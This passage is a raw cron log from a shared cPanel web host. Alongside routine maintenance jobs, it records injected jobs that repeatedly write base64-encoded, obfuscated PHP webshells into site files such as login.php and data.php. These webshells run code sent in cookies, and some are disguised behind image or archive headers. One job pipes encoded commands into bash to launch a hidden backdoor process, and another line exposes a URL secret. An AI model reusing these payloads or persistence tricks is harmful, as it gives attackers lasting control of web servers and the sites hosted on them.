LiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:59:01 medusa CROND[3957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:59:01 medusa CROND[3959]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:59:01 medusa CROND[3960]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:59:01 medusa CROND[3961]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:59:01 medusa CROND[3973]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:59:01 medusa CROND[3975]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:59:01 medusa CROND[3974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:59:01 medusa CROND[3976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:00:01 medusa CROND[5861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:00:01 medusa CROND[5862]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:00:02 medusa CROND[5897]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:00:02 medusa CROND[5924]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:00:02 medusa CROND[5926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:00:02 medusa CROND[5925]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 04:00:02 medusa CROND[5927]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5930]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:00:02 medusa CROND[5931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:00:02 medusa CROND[5932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 04:00:02 medusa CROND[5933]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:00:02 medusa CROND[5928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:00:02 medusa CROND[5936]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 04:00:02 medusa CROND[5943]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 04:00:02 medusa CROND[5947]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5944]: (root) CMD (/usr/bin/flock -n /var/run/clean_packages.cronlock /usr/share/cloudlinux/clean_packages.sh &> /dev/null)
Jun  7 04:00:02 medusa CROND[5950]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:00:02 medusa CROND[5946]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5954]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:00:02 medusa CROND[5951]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 04:00:02 medusa CROND[5957]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5958]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:00:02 medusa CROND[5960]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:00:02 medusa CROND[5961]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5969]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5972]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:00:02 medusa CROND[5980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[5985]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:00:02 medusa CROND[5986]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[6002]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:00:02 medusa CROND[6001]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:00:02 medusa CROND[6004]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 04:00:02 medusa CROND[6005]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:00:02 medusa CROND[6007]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:00:02 medusa CROND[6014]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:00:02 medusa CROND[6003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:00:02 medusa CROND[6006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:01:01 medusa CROND[7781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:01:01 medusa CROND[7794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:01:01 medusa CROND[7795]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 04:01:01 medusa CROND[7796]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
